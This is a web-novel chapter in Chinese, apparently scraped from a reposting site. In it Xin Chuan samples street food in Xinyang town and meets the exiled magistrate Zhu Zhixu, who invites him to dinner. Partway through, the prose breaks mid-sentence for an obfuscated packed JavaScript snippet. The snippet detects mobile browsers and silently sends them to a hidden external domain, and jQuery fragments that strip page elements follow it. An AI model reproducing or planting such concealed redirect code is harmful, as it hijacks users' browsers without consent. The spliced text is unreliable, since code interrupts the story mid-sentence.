辛川走到近前,那摊主便吆喝起来:“郎君早啊,来个炸红豆桂花糕吗?”
原来是炸糕。
辛川在原来的世界也吃过炸糕,只不过外面的皮是蓬起来的,上面充满了气泡,这里的油炸糕看着扁扁的,但味道的确香甜,于是他点点头。
“来一个吧。”辛川说着掏出钱袋子,“怎么卖?”
“四文钱一个。”见生意做成,那摊主乐呵呵的拿油纸包了一个递给辛川,“刚炸好的,您小心烫。”
辛川递过去四文钱,将油炸糕接过来,小心的咬了一口。
外皮是一层薄薄的脆壳,里面的糯米半指厚,香软黏糯,红豆内馅儿能看见豆子皮,桂花的香气隐藏期间。
好吃,而且因为舍不得放太多糖,不甜,正和他口味。
辛川向摊主道了声谢,转身继续往里走。
甘味最能安抚心情,这一路行来的舟车劳顿,以及诸多的不安,在吃到热乎乎的油炸饼那一刻被掩埋在了心底的最深处。
辛川很少生出及时行乐的感慨,可如今的他,只想无忧无虑的逛一逛这难得的古韵风情。
油炸糕吃完了,有点腻,于是辛川找了个吃茶的摊子准备解解渴,结果却发现这摊子里竟然有柠檬水卖。
“店家,来碗柠檬饮。”辛川感兴趣招呼。
“好您嘞,加糖吗?”店家问。
“微甜便可。”辛川看了眼价目表,柠檬饮三文一碗,加糖需加一文钱,于是他掏出四文放到桌上,“银钱放这里了。”
“好嘞郎君!”见是个不差钱的主,店家动作飞快的盛了一碗加糖的柠檬饮给辛川送了过去,“郎君慢用!”
辛川点点头,端起来喝了一口,抿唇笑了起来。
就是普通的柠檬水兑糖,没什么特别,但在异国他乡能喝到这个,他已经很知足了。
饮茶的功夫,街上的人流多了起来,从来往的人们的精神状态能看出,信阳镇镇民的生活还是挺安逸知足的。
辛川喝完了柠檬饮,起身继续逛。这条街虽一眼能望到尽头,但卖的吃食不少,他边走边尝,吃了辣菜饼、炸笋子还吃了一碗肉碎和骨头炖煮出来的粥。
本还想吃碗小馄饨和长得和桂花糕一样的东西,但辛川实在是吃不下了,只好放弃。
“郎君若是想吃,可以买些带回去。”倏然,旁边一位长身而立的灰袍男子向他搭话。
温声,辛川转头望去,是一面色略显苍白的书生。大概是他站在这里久久未曾离开,故而才开口同他搭话。
那书生见辛川看了过来,继续道:“这家甘悦坊听说是北冀都城那家有名的芙蓉斋老师傅开的,味道很不错。”
“多谢郎君指教。”辛川疯狂意动,对店家道,“那就给我包一包吧。”
“大人又帮着老夫说道了。”老店家一边帮辛川包桂花糕,一边笑呵呵的对那青年讲,“您爱吃这口,不代表所有来信阳镇的都爱吃啊。”
那青年被揶揄了也不窘迫,只淡雅一笑:“相信张伯的手艺罢了,再说,这镇子上若不是因着银钱的问题,谁不想天天都能吃上张伯做的点心。”
“惠顾一百五十文。”张伯给辛川递了过去。
好家伙,一百五十文钱!里面包了大概十五块桂花糕,一块就是十个铜钱呢!和之前的吃食比起来,贵的不是一点半点!
“郎君,被我们大人坑了吧?”见辛川惊讶的样子,老者笑呵呵道。
他倒是不恼,也不怕辛川付不出银子,倒像是拿这件事当乐趣似的
“……的确有些吃惊。”辛川哭笑不得数出一百五十个铜板递过去,“不过,倒是愈发的勾起了辛某的好奇心。”
张伯本以为这生意做不成了,没成想这位穿着朴素的郎君竟毫不犹豫的掏出了一百五十文。
不但张伯,旁边的素以男子也看了过来。
辛川给了银子,接过包好的点心,这才张口问:“敢问老伯,眼前这位郎君,可是信阳镇县令?”
老者同青年男子俱是一愣,随即还是那名灰袍男子先拱拱手:“郎君聪慧,在下信阳镇县令,竹知徐。”
“鄙人辛川。”辛川回礼,“拜见竹大人。”
“我既只身游玩,便同信阳镇的百姓一般,无需多礼。”竹知徐截住辛川,温和的笑道。
苍白的手握住手臂,辛川眉头微蹙,没想到这竹县令看起来瘦弱,手劲却这般大。
“失礼。”竹知徐立刻松开手,“家中都是武将,令郎君受惊了。”
“哪里,信阳镇能有竹县令这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288789|181385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般能人,属实荣幸。”辛川揉了揉被抓的地方,惊讶的发现疼痛是从骨子里发出的。
讶异之余,他心里却有些羡慕。
自死而复苏之后,他的身体虽一日比一日好起来,但总还是不如从前,看来还需多多锻炼才行。
“今晚既与郎君投缘,不如往前处酒楼一叙。”竹知徐遥遥一指,“那处便是我镇独一无二的酒楼,算不上味美珍馐,却也风味独特,郎君远道而来,不品尝信阳风貌,岂不可惜?”
竹知徐面容温雅,声色温和,若是平常,辛川定是乐意和他攀谈一番,只是想起临出客栈时那店小二的言语,再看看悄然而至的夜色,不由心里打鼓。
既然那小二逢人便说有妖鬼霍乱谣言,这竹县令趁夜色相邀又是何意?
“今日天色已晚,辛某刚到信阳,有些劳累,还望竹县令海涵。”于是,辛川拱手婉拒。
那竹县令倒也通情理,没有勉强:“如此,那便明晚吧。还望郎君莫要推拒,好让竹某尽一尽地主之谊。”
辛川不敢表现得太过明显,只得点头:“盛情难却,辛某从命就是。”
“那便明日酉时见。”定完时间,竹县令便拱拱手,“竹某就不打扰郎君休息了,告辞。”
等那薄如纸片的身影离去,辛川悬着的心才敢放下。
旁边的张伯一直在听,见人走了,才叹一口气:“郎君莫奇怪,我们大人实际一介文弱书生,孤身一人发配至此,身边也没个能说得上话的人,大概是见郎君气宇模样,有些惺惺相惜,故而相邀。”
“发配?”辛川觉得自己发现了盲点。
“竹家也是个受牵连的,家里人死的死,发配的发配,原本大人也在处死的行列里,幸得贵人保了一保,这才发配这边陲小镇,当个闲适县令。”张伯似是很了解竹知徐,同辛川徐徐说着。
那就怪不得那样清瘦了,看起来也有些郁郁寡欢的样子。
“希望郎君能与我们大人投缘。”张伯满脸惆怅道。
辛川忍不住问:“看起来,这位竹县令,应该是个好官。”
“何止好官。”张伯满眼赞赏道,“这信阳镇内能没有偷盗抢掠,除了妖鬼精怪前来骚扰,百姓安居乐业,还连减了三年附税,镇子里的人可都认大人的好呢。”